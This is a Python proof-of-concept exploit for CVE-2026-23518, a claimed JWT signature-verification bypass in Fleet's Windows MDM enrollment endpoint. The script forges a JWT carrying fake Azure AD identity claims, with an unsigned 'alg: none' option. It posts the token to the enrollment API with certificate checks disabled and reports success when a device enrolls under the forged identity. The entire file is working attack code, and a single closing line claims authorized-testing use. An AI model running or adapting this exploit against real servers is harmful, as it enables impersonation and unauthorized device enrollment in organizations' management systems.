import jwt
import requests
import json
from datetime import datetime, timedelta
# CVE-2026-23518 PoC - Fleet JWT Signature Bypass
# Target: Fleet Windows MDM Enrollment Endpoint
TARGET_URL = "https://fleet-server.com/api/v1/mdm/enroll"
FAKE_AZURE_AD_USER = "
[email protected]"
FAKE_USER_ID = "00000000-0000-0000-0000-000000000001"
def create_forged_jwt():
"""
Create a forged JWT token with attacker-controlled identity claims
Fleet server does not verify the signature, accepting any token
"""
# JWT Header - Algorithm set to none (unsigned) or any algorithm
header = {
"alg": "RS256", # Can be any algorithm, signature not verified
"typ": "JWT"
}
# Malicious payload with forged Azure AD identity
payload = {
"sub": FAKE_USER_ID,
"email": FAKE_AZURE_AD_USER,
"name": "Fake Admin User",
"preferred_username": FAKE_AZURE_AD_USER,
"oid": FAKE_USER_ID,
"iss": "https://login.microsoftonline.com/fake-tenant/v2.0",
"aud": "api://FleetMDM",
"iat": int(datetime.utcnow().timestamp()),
"exp": int((datetime.utcnow() + timedelta(hours=1)).timestamp())
}
# Forged signature - Fleet does not verify this
forged_signature = "FAKE_SIGNATURE_THAT_WILL_NOT_BE_VERIFIED"
# Construct the forged JWT token
token = jwt.encode(payload, "fake-key", algorithm="HS256", headers=header)
# Alternative: Use unsigned token (alg: none)
# token = jwt.encode(payload, "", algorithm="none", headers={"alg": "none", "typ": "JWT"})
print(f"[+] Generated forged JWT token: {token[:50]}...")
return token
def exploit_fleet_mdm_enrollment(forged_token):
"""
Submit forged JWT token to Fleet Windows MDM enrollment endpoint
"""
headers = {
"Content-Type": "application/json",
"X-Device-Auth": "Windows",
"Authorization": f"Bearer {forged_token}"
}
enrollment_data = {
"device_id": "FAKE-DEVICE-ID-" + str(datetime.utcnow().timestamp()),
"device_type": "windows",
"enrollment_type": "mdm",
"identity_token": forged_token
}
print(f"[+] Sending enrollment request to {TARGET_URL}")
try:
response = requests.post(TARGET_URL, json=enrollment_data, headers=headers, verify=False, timeout=30)
print(f"[*] Response Status: {response.status_code}")
print(f"[*] Response Body: {response.text[:500]}")
if response.status_code == 200 or response.status_code == 201:
print("[+] SUCCESS: Device enrolled with forged identity!")
print(f"[+] Device now associated with Azure AD user: {FAKE_AZURE_AD_USER}")
return True
else:
print("[-] Enrollment failed or target not vulnerable")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
if __name__ == "__main__":
print("="*60)
print("CVE-2026-23518 - Fleet JWT Signature Bypass PoC")
print("="*60)
forged_token = create_forged_jwt()
exploit_fleet_mdm_enrollment(forged_token)
print("\n[!] Note: This PoC demonstrates the vulnerability for authorized testing only")